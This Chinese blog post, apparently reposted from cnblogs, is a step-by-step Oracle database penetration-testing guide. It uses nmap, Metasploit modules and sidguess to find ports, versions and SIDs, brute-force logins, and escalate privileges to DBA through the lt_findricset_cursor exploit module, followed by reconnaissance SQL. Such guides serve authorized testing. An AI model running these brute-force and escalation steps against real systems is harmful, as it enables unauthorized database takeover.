Oracle Database,又名Oracle RDBMS,或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的 适应高吞吐量的数据库解决方案。针对Oracle数据库如何测试呢?

检测数据库端口是否开放


这个任务可以使用nmap来对目标IP进行测试,也可以使用其他的端口扫描工具,下面就以nmap为例,可以使用如下命令:

nmap -Pn -n -T4 --open -p1521 <target IP>

检查数据库的版本信息


得到一个存活的oracle数据库服务端口,了解数据库的版本信息非常关键,针对不同的版本会有不一样的测试方式,有不同的安全漏洞需要不同的poc来对其进行测试,所以在测试之前首先要了解数据库的版本,下面说几个方法。

1 利用msf

使用如下模块来对数据库进行版本探测:

msf > use auxiliary/scanner/oracle/tnslsnr_version

2 使用tnscmd10g

tnscmd10g是kali下的一个工具,命令如下:

tnscmd10g version -h <target IP>

tnscmd10g status -h <target IP>

通过上述命令可以得到版本信息、日志文件、跟踪信息以及端口信息

获取数据库的SID


连接oracle数据库不仅需要账号密码,而且还需要SID(SID是一个数据库的唯一标识符!是建立一个数据库时系统自动赋予的一个初始ID),所以如何获取SID是非常关键的,可以使用以下方法获取:

1 使用msf

msf下有两个模块可以完成这个操作,命令如下:

msf > use auxiliary/scanner/oracle/sid_enummsf > use auxiliary/admin/oracle/sid_brute

2 使用sidguess

sidguess是kali下的一款爆破Oracle SID的工具,命令如下:

sidguess -i <target IP> -d /home/myh0st/pass.txt

3 针对自带web管理平台

如果oracle的版本为10g,默认自带通过8080端口远程管理的可以访问以下路径:

http://<;target IP>:8080/oradb/PUBLIC/GLOBAL_NAME

枚举数据库账号密码


枚举爆破数据库连接账号密码可以使用下面的方式。

1 使用msf

使用这个模块需要指定SID,就是要在获取到SID后才能使用,使用模块如下:

msf > use auxiliary/admin/oracle/login_brute

set SID <sid>

2 使用sqlplus

sqlplus是oracle自带的数据库管理工具,可以使用以下命令登录数据库,也可以自己写脚本来枚举账号密码:

sqlplus <username>/<password>@<target IP>:<port>/<SID>

使用sql命令提权


在获取到数据库登录口令后,如何对数据库进行提权操作?可以使用msf下的两个模块,命令如下:

msf > use auxiliary/admin/oracle/sql set DBUSER <user> set DBPASS <password> set SID <sid> set SQL select * from user_role_privs

msf > use auxiliary/admin/oracle/pushin/lt_findricset_cursor set DBUSER <user> set DBPASS <password> set SID <sid> set SQL GRANT DBA TO <user> set SQL GRANT JAVASYSPRIV TO <user>

获取数据库里关键信息的sql命令


查询数据库版本:

select * from v$version;

数据库打补丁情况:

select * from dba_registry_history;

查看所有用户:

select * from all_users;

查询数据库中的所有表:

select owner,table_name from all_tables;

当前用户被激活的角色:

select * from session_roles;

描述数据库对象:

desc utl_http

转载于:https://www.cnblogs.com/-qing-/p/10729455.html

oracle数据库的安全测试相关推荐

  1. oracle 还原dmp时_报错的值太大,基于oracle数据库的CLOUD备份恢复测试

    CLOUD oracle数据库备份恢复测试 强烈建议使用expdp/impdp,因为: 在expdp的时候Oracle不会再依赖和参考NLS_LANG的设置,而是完全按照数据库本身的字符集导出数据,i ...

  2. 【转载】15分钟搭建Linux操作系统+Oracle数据库的环境

    2019独角兽企业重金招聘Python工程师标准>>> 一直想学习下Linux下Oracle数据库方面的运维,但从头安装Linux操作系统,再装Oracle数据库的过程确实非常繁琐, ...

  3. 详解:Oracle数据库介绍 、字符、类型、语言

    Oracle的介绍 是一个数据库管理系统,是Oracle公司的核心产品.其在数据安全性与安整性控制方面的优越性能,以及跨操作系统.跨硬件平台的数据操作能力.基于"客户端/服务 器" ...

  4. oracle数据库报错12154,Oracle客户端简易连接报错ORA-12154,TNS-03505

    Oracle客户端简易连接报错ORA-12154,TNS-03505 环境: 服务端:RHEL6.5 + Oracle Server 11.2.0.4 客户端:Win2003 + Oracle Cli ...

  5. Oracle的学习心得和知识总结(十八)|Oracle数据库性能压测工具swingbench的安装和使用及AWR ASH ADDM报告生成

    目录结构 注:提前言明 本文借鉴了以下博主.书籍或网站的内容,其列表如下: 1.参考书籍:<Oracle Database SQL Language Reference> 2.参考书籍:& ...

  6. JDBC连接Oracle数据库测试

    JDBC连接Oracle数据库测试 package date20180727.dao; import java.sql.Connection; import java.sql.DriverManage ...

  7. LoadRunner 测试Oracle数据库及Siebel性能

    本次测试使用的loadrunner 版本为8.1,oracle数据库版本为10.2.0.1,各版本的测试方法基本是一样的.这里提供loadrunner 8.1,10000个web用户的license: ...

  8. 手把手系列:(一)用Benchmarksql测试Oracle数据库性能

    os 环境: Oracle linux /Oracle 12C RAC(搭建rac集群请参考这里),oracle12c数据库 从 sourceforge 下载Benchmarksql 5.0: htt ...

  9. oracle 语句 在线测试,2017年Oracle数据库基础测试答案.doc

    . . word完美格式 2017年Oracle数据库基础测试答案 姓名 成绩 一.单项选择题(每题1分,共60分) 列出EMP表中,从事每个工种(JOB)的员工人数 A.select job fro ...

  10. oracle数据库速度测试,【原创】验证在Oracle数据库中操纵数据的各种方法的速度...

    机器配置:组装的PC SERVER,4AMD CPU,8G内存,4块SCSI硬盘.Oracle 10.2.0.4. 试验目的:在244上,对xxx_flow表进行复制.更新,验证在Oracle数据库中 ...

最新文章

  1. 最新批量***dedecms|dedecms最新0day
  2. jQuery自定义漂亮的下拉框插件8种效果演示
  3. 使用window.postMessage实现跨域通信
  4. 4.线性和卷积——不同种类的噪声、中值滤波器揭破和实战_5
  5. SoapUI Pro Project Solution Collection-DataSource(jdbc,excel)
  6. 一起talk C栗子吧(第二十七回:C语言实例--插入排序)
  7. maven项目对象模型(二)
  8. Ubuntu 下安装 GCC 的方法
  9. 课程管理系统 java
  10. cocos2d 解密ccbi_CocosBuilder 学习笔记(3) AnimationManager 与 ccbi 文件解析
  11. python打开sql,Python打开Microsoft SQL Server MDF文件
  12. java调用ltp分词_开源中文分词工具探析(七):LTP
  13. 来看一场开发者大会,缘何引来千人盛况
  14. acwing1113 红与黑
  15. 微搭小课堂-第一课 实现到店导航
  16. carplay_如何更改您的CarPlay壁纸
  17. 步进电机驱动器驱动不了电机的一种情况及解决方案
  18. Python jupyter notebook Katex|Latex
  19. 基于Django框架实现前后端分离(三)
  20. Rancher入门到精通-2.0 pening storage failed: block open /prometheus/meta.json: no such file or directory

热门文章

  1. 线索二叉树实现(中序)
  2. 也来说说C#异步委托
  3. 网站成功的三十三个法则
  4. maven项目添加新dependency jar后本地可正常运行,但打包后加载不上
  5. Redis随项目启动或CRUD进行缓存数据
  6. 一些Select检索高级用法(适用于mssql)
  7. angular环境配置
  8. javaSE基础知识 知识点(一)
  9. mysql数据库复习
  10. 谷歌首页被别的网站篡改